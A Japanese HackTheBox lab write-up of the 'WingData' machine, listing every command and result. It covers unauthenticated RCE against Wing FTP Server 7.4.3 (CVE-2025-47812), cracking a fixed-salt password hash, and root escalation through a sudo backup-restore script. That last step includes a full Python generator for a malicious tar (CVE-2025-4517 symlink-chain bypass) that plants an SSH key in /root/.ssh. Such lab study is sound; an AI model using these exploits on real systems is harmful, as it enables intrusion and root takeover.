HackTheBox: WingData — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80
→
22/80
Wing FTP Server v7.4.3
ftp.wingdata.htb
→
ftp.wingdata.htb
CVE-2025-47812
NULLバイトLuaインジェクション
→
NULLバイトLuaインジェクション
wacky.xml ハッシュ取得
固定ソルト “WingFTP”
→
固定ソルト “WingFTP”
hashcat -m 1410 クラック
SSH wacky / user.txt ✓
→
SSH wacky / user.txt ✓
sudo restore_backup_clients.py
CVE-2025-4517
→
CVE-2025-4517
PATH_MAX symlinkチェーン
/root/.ssh へ書込
→
/root/.ssh へ書込
root SSH
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 1000 -T4 10.129.94.125
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned
vhost 発見 — ftp.wingdata.htb
BASH
# まず /etc/hosts に wingdata.htb を登録しブラウザで確認 echo "10.129.94.125 wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts curl -s -H "Host: ftp.wingdata.htb" http://10.129.94.125/login.html | grep -i title
RESULT
<title>Wing FTP Server - Web Client</title>
...
FTP server software powered by <a href="https://www.wftpserver.com/">Wing FTP Server v7.4.3</a>
🚨
メイン vhost (
wingdata.htb) は “Wing Data Solutions” のマーケティングサイト。
サブドメイン ftp.wingdata.htb に Wing FTP Server v7.4.3 の
Webクライアントが稼働している。このバージョンは CVE-2025-47812 (未認証RCE) の対象。
PHASE 2
CVE-2025-47812 — Wing FTP Server 未認証 RCE
脆弱性の背景
NOTE
Wing FTP Server 7.4.3 以前は login.html の username パラメータに NULLバイト+Luaコードを注入できる。c_CheckUser() はNULLバイトで文字列を 切り詰めて検証するが、セッションファイル生成ロジックは切り詰め前の 生文字列をそのまま使うため、注入したLuaコードがセッションファイルに 書き込まれる。認証済み機能 (/dir.html 等) へアクセスするとそのLuaコードが 実行され、サーバー上で任意コマンド実行が可能になる (Linuxではroot権限、 Windowsではsystem権限で動作するプロセスのため影響大)。
exploit-db 52347 (CVE-2025-47812) の取得・動作確認
BASH
searchsploit -p 52347 cp /usr/share/exploitdb/exploits/multiple/remote/52347.py . python3 52347.py -u http://ftp.wingdata.htb/ -c whoami
RESULT
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'whoami'
[+] UID extracted: e97ff7776dfa426270f1d996f79356e4f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: e97ff7776d...
--- Command Output ---
wingftp
----------------------
✅
未認証のまま
wingftp ユーザーとして任意コマンド実行が確認できた。
ハマりポイント: cat で直接XMLファイルを読もうとすると出力が空になる
NOTE
exploit-db 52347.py のソースを確認すると、応答ボディから目的のコマンド出力だけを
抜き出す処理が以下のようになっている:
clean_output = re.split(r'<\?xml', body)[0].strip()
つまり応答本文中で最初に出現する "<?xml" より前の部分だけを採用する実装。
Wing FTP の wacky.xml はファイル先頭が <?xml version="1.0" ?> で始まる
XML設定ファイルのため、`cat wacky.xml` を直接実行すると、コマンド出力
そのものの先頭にある "<?xml" にこの正規表現がマッチしてしまい、
**抽出結果が空文字列になる** (スクリプト自身のバグ)。
BASH
# 失敗する例 python3 52347.py -u http://ftp.wingdata.htb/ -c "cat /opt/wftpserver/Data/1/users/wacky.xml" # → --- Command Output --- の中身が空になる # 対策: base64 でエンコードしてから取得し、ローカルでデコードする python3 52347.py -u http://ftp.wingdata.htb/ -c "base64 -w0 /opt/wftpserver/Data/1/users/wacky.xml"
RESULT (base64出力をデコード)
<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
<USER>
<UserName>wacky</UserName>
<EnableAccount>1</EnableAccount>
<EnablePassword>1</EnablePassword>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
...
PHASE 3
固定ソルトでのハッシュクラック & user.txt
Wing FTP 管理者ハッシュの構成を調査
BASH
hashid '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca' -m
RESULT
[+] SHA-256 [Hashcat Mode: 1400] [+] ...
ℹ️
hashcat mode 1400 (素のSHA256) ではクラックできない — ソルト付きと判断。
Wing FTP Server のドキュメント/研究によると、管理者アカウントのパスワードは
固定・ハードコードされたソルト “WingFTP” を使い
SHA256(password + "WingFTP") で構成される
(hashcat mode 1410: sha256($pass.$salt))。
hashcat -m 1410 でクラック
BASH
echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > hash.txt hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt --potfile-disable -o crack.txt cat crack.txt
RESULT
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
SSH ログイン & user.txt 取得
BASH
ssh wacky@10.129.94.125 # Password: !#7Blushing^*Bride5 wacky@wingdata:~$ cat user.txt
RESULT
uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
87ef1811fbb0923c7099d98f3c9e673d
user.txt — wacky@wingdata
87ef1811fbb0923c7099d98f3c9e673d
PHASE 4
CVE-2025-4517 — tarfile PATH_MAX バイパスで悪性 tar を生成
sudo 権限とスクリプトの調査
BASH
wacky@wingdata:~$ sudo -l
RESULT
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
PYTHON (/opt/backup_clients/restore_backup_clients.py 要旨)
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"
# ... 引数検証後 ...
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data") # ← "data" フィルタ使用
ℹ️
root 権限で
/opt/backup_clients/backups/backup_<id>.tar を展開する。
Python 3.12 の tarfile.extractall(filter="data") はシンボリックリンクの
最終着地点が展開先ディレクトリ内に収まるか検証するはずだが、CVE-2025-4517 により
この検証を回避できる。
CVE-2025-4517 の原理 — PATH_MAX による realpath() の検証回避
NOTE
"data" フィルタは、シンボリックリンクを辿った最終的な実体パスを
os.path.realpath() で解決し、それが展開先ディレクトリの内側にあるかを確認する。
しかし os.path.realpath() は PATH_MAX (4096バイト) を超える長さのパスを
解決しようとすると、解決を諦めて "未解決のまま" のパス文字列を返してしまう。
この挙動を利用し、以下の構造を持つ tar を作れば検証をすり抜けられる:
1. 247文字のディレクトリ名 × 16階層のネストを作る
(247 × 16 ≈ 3952バイト、PATH_MAX に迫る深さ)
2. 各階層に、兄弟の長い名前のディレクトリを指す1文字シンボリックリンク
(a, b, c, ... p) を同時に作成する
3. a/b/c/.../p + 254文字の最終コンポーネントという形でシンボリックリンクの
連鎖を辿るパス (linkpath) を組み立てる → これを解決しようとすると
PATH_MAX を超え、realpath() は検証をバイパスする
4. linkpath から "../" を16回重ねたシンボリックリンク (元のステージング
ディレクトリ付近へ"戻る") を作る
5. "escape" という名前のシンボリックリンクを作り、linkname を
linkpath + "/../../../../../root/.ssh" とする
→ フィルタ検証時は PATH_MAX 超過で解決を諦めパスするが、
実際の展開時には OS カーネルがシンボリックリンクを最後まで
正しく解決し、/root/.ssh に着地する
6. "escape/authorized_keys" という通常ファイルエントリを追加する
→ escape シンボリックリンクを経由して実体は /root/.ssh/authorized_keys
に書き込まれる (ハードリンク不要、シンボリックリンク越しの書込だけで良い)
悪性 tar 生成スクリプト
BASH
ssh-keygen -f ./rootkey -N ""
PYTHON (generate_tar.py)
import tarfile, os, io
comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("backup_9999.tar", mode="w") as tar:
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps)
tar.addfile(l)
# escape -> /root/.ssh directory
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../root/.ssh"
tar.addfile(e)
# Write new file THROUGH the symlink (no hardlink needed)
pubkey = open("./rootkey.pub", "rb").read()
n = tarfile.TarInfo("escape/authorized_keys")
n.type = tarfile.REGTYPE
n.size = len(pubkey)
n.mode = 0o600
tar.addfile(n, fileobj=io.BytesIO(pubkey))
BASH
python3 generate_tar.py scp backup_9999.tar wacky@10.129.94.125:/opt/backup_clients/backups/ # ※ ファイル名は validate_backup_name() の正規表現 ^backup_\d+\.tar$ に # 一致させる必要がある (client_id は非ゼロの数字文字列)
PHASE 5
sudo でリストア実行 → root.txt
悪性 tar の展開を sudo 経由でトリガー
BASH
wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \ -b backup_9999.tar -r restore_pwn
RESULT
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn
✅
エラーなく展開完了。表面上は正常な動作に見えるが、実際には
/root/.ssh/authorized_keys へ攻撃者の公開鍵が書き込まれている。
root 権限 SSH でログイン & root.txt 取得
BASH
ssh -i rootkey root@10.129.94.125 root@wingdata:~# cat root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
b56d8ef2e2fd0f6ff56e34ab711cfe01
root.txt — root@wingdata
b56d8ef2e2fd0f6ff56e34ab711cfe01
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — wacky@wingdata
87ef1811fbb0923c7099d98f3c9e673d
root.txt — root@wingdata
b56d8ef2e2fd0f6ff56e34ab711cfe01
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2025-47812 | Wing FTP Server <= 7.4.3 | 未認証リモートコード実行 | Critical | username パラメータへのNULLバイト+Luaコード注入でセッションファイル経由RCE |
| 管理者ハッシュの固定ソルト | Wing FTP Server ユーザーDB (wacky.xml) | 弱いパスワードのクラック容易化 | Medium | SHA256(password + “WingFTP”) の固定ソルトを使い hashcat -m 1410 でクラック |
| CVE-2025-4517 | Python 3.12 tarfile.extractall(filter=”data”) | 任意ファイル書込による権限昇格 | High | PATH_MAX超過のシンボリックリンクチェーンでrealpath()検証を回避し/root/.sshへ書込 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost発見 | Wing FTP Server v7.4.3 (ftp.wingdata.htb) |
| 2 | 未認証RCE | CVE-2025-47812 (exploit-db 52347) | wingftp権限でのコマンド実行 |
| 3 | 資格情報奪取 | base64経由でwacky.xml取得 + hashcat -m 1410 | user.txt (wacky) |
| 4 | 悪性tar生成 | CVE-2025-4517 PATH_MAXシンボリックリンクチェーン | authorized_keys書込用tarball |
| 5 | 権限昇格 | sudo restore_backup_clients.py実行 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Wing FTP Server のユーザー名検証とセッション生成ロジックの不整合 (NULLバイト処理の差異) | 最新版 (7.4.4以降) へアップデートする。ユーザー入力は一貫した方法でサニタイズし、 異なるコードパスで同じ入力を別々に処理しない設計にする。 |
| 管理者パスワードハッシュに弱い固定・ハードコードされたソルトを使用 | ユーザーごとにランダムなソルトを生成し保存する。ベンダーに修正パッチを要求する。 |
| Python 3.12 の tarfile “data” フィルタが PATH_MAX 超過パスの検証を事実上スキップする (CVE-2025-4517) | パッチ済みの Python バージョンへアップデートする。sudo で実行可能な復元スクリプトは 信頼できないtarballを展開させない設計にするか、展開前にシンボリックリンクの 深さ・総パス長を独自に制限する。 |

